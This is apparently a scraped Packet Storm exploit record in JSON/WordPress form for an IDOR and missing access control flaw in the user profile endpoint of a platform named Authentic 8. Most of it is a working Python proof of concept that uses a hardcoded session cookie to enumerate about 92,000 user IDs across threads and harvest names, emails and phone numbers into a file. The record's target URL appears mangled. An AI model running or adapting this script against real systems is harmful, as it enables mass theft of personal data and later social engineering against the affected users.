{“lastseen”:”2026-04-10T17:35:34″,”description”:”Proof of concept exploit that demonstrates user data exposure via an insecure direct object reference and missing access control vulnerabilities in the User Profile endpoint of Authentic 8…”,”published”:”2026-04-10T00:00:00″,”modified”:”2026-04-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Authentic 8 User Profile Insecure Direct Object Reference”,”source”:””,”references”:””,”id”:”PACKETSTORM:218708″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : Authentic 8 Mass User Data Exposure via IDOR and Missing Access Control in User Profile Endpoint |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/pesaflow.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : The assessment revealed a critical security vulnerability in the user profile endpoint of an online services platform. \\n This vulnerability allows an application to compromise sensitive personal information by accessing serialized user profile identifiers without validating access permissions.\\n The endpoint returns user attributes, such as full names, email addresses, and phone numbers, which can be retrieved in large quantities due to the lack of access rate limits and effective access controls. \\n \\t\\t\\t\\t This allows an authenticated user to browse large portions of the user database.\\n This vulnerability represents a combination of insecure direct object access (IDOR) and inadequate access controls, resulting in the unauthorized exposure of vast amounts of data. \\n \\t\\t\\t\\t Exploiting this vulnerability could lead to widespread privacy breaches, user profile identification, and potential social engineering attacks.\\n \\n [+] POC : \\n \\n import requests\\n import re\\n import concurrent.futures\\n \\n MY_COOKIE = \\”_single_signon_key=feX\/ygNzIB73dmAxWodOZ22U446F5pf1B1v+NPUPlj4uAE8T1FbZmlXrH1UxDNO\/DZeHERGSyP\/HJFAczYwioR9zSNijJRe+W01PYTU+RNK4Wmo3Y6PnKa6xpKdvGxvW\\”\\n RESULT_FILE = \\”rzlt.txt\\”\\n \\n headers = {\\n \\”User-Agent\\”: \\”Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Chrome\/122.0.0.0\\”,\\n \\”Cookie\\”: MY_COOKIE,\\n \\”Accept\\”: \\”text\/html,application\/xhtml+xml,xml;q=0.9\\”\\n }\\n \\n def pwn_single_id(target_id):\\n url = f\\”https:\/\/127.0.01.gov.ss\/user-profile\/{target_id}\\”\\n try:\\n res = requests.get(url, headers=headers, timeout=15)\\n \\n if res.status_code == 200:\\n html = res.text\\n \\n name_match = re.search(r’class=\\”font-semibold text-slate-600.*?\\u003e(.*?)\\u003c’, html)\\n name = name_match.group(1).strip() if name_match else \\”N\/A\\”\\n email_match = re.search(r’id=\\”email-form_current_email\\”.*?value=\\”(.*?)\\”‘, html)\\n email = email_match.group(1).strip() if email_match else \\”N\/A\\”\\n \\n phone_patterns = [\\n r’id=\\”mobile_number\\”.*?value=\\”(.*?)\\”‘,\\n r’id=\\”phone\\”.*?value=\\”(.*?)\\”‘,\\n r’name=\\”mobile\\”.*?value=\\”(.*?)\\”‘,\\n r’value=\\”(\\\\+\\\\d{7,15})\\”‘\\n ]\\n \\n phone = \\”N\/A\\”\\n for pattern in phone_patterns:\\n match = re.search(pattern, html)\\n if match and match.group(1).strip():\\n phone = match.group(1).strip()\\n break\\n \\n if email != \\”N\/A\\” or phone != \\”N\/A\\”:\\n data_line = f\\”ID: {target_id} | Name: {name} | Email: {email} | Phone: {phone}\\\\n\\”\\n with open(RESULT_FILE, \\”a\\”, encoding=\\”utf-8\\”) as f:\\n f.write(data_line)\\n print(f\\”[+] Captured {target_id}: {email} | {phone}\\”)\\n return True\\n return False\\n except Exception:\\n return False\\n \\n def start_mass_extraction(start_id, end_id, workers=15):\\n print(f\\”[*] Starting Mass Extraction ({start_id} -\\u003e {end_id})\\”)\\n with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:\\n executor.map(pwn_single_id, range(start_id, end_id + 1))\\n \\n if __name__ == \\”__main__\\”:\\n start_mass_extraction(1, 92460, workers=15)\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218708″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218708\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-10T17:35:34″,”description”:”Proof of concept exploit that demonstrates user data exposure via an insecure direct object reference and missing access control vulnerabilities in the User Profile endpoint…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-42334","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n